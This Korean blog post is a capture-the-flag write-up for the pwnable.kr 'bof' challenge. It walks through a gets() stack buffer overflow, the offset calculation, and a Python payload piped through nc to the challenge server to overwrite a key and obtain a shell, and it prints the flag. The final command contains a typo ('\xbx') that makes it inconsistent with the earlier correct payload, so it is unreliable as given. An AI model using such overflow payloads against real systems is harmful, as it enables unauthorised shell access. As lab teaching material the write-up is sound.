ii4gsp
Pwnable.kr - bof 본문
파일 두개를 모두 다운받아 분석해보자
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void func(int key){
char overflowme[32];
printf("overflow me : ");
gets(overflowme);
if(key == 0xcafebabe){
system("/bin/sh");
}
else{
printf("Nah..\n");
}
}
int main(int argc, char* argv[]){
func(0xdeadbeef);
return 0;
}
gets()함수에서 받는 데이터의 크기를 제한하지지 않고 문자를 입력받아 취약점이 발견하는걸 알수있다.
버퍼 오버플로우를 발생시켜 키값을 0xcafebabe로 해주면 문제가 풀릴것이다.
<func+29> overflowme는 ebp-[0x2c]로부터 0x2c만큼 떨어져 있는 것을 알 수 있다.
<func+40>의 위치를 통해서 key는 ebp+[0x8]로부터 0x8만큼 떨어져 있는 것을 알 수 있다.
ebp-[0x2c] ~ ebp+[0x8]의 거리를 구하면 0x34만큼 차이가난다.
0x2c + 0x8 = 0x34만큼의 공간을 채우고 0xcafebabe를 덮어씌우면 된다.
0xcafebabe는 리틀 엔디언 방식으로 \xbe\xba\xfe\xca로 넣어줘야한다.
따라서 payload는 (python -c 'print "\x90" * 52 + "\xbe\xba\xfe\xca"')이 된다.
Flag: daddy, I just pwned a buFFer :)
payload
(python -c 'print "\x90" * 52 + "\xbx\xba\xfe\xca"';cat) | nc pwnable.kr 9000
'시스템 해킹 > pwnable.kr' 카테고리의 다른 글
Pwnable.kr - random (0) | 2020.02.04 |
---|---|
Pwnable.kr - passcode (0) | 2020.02.04 |
Pwnable.kr - flag (0) | 2020.02.04 |
Pwnable.kr - collision (0) | 2020.02.04 |
Pwnable.kr - fd (0) | 2020.02.04 |
Comments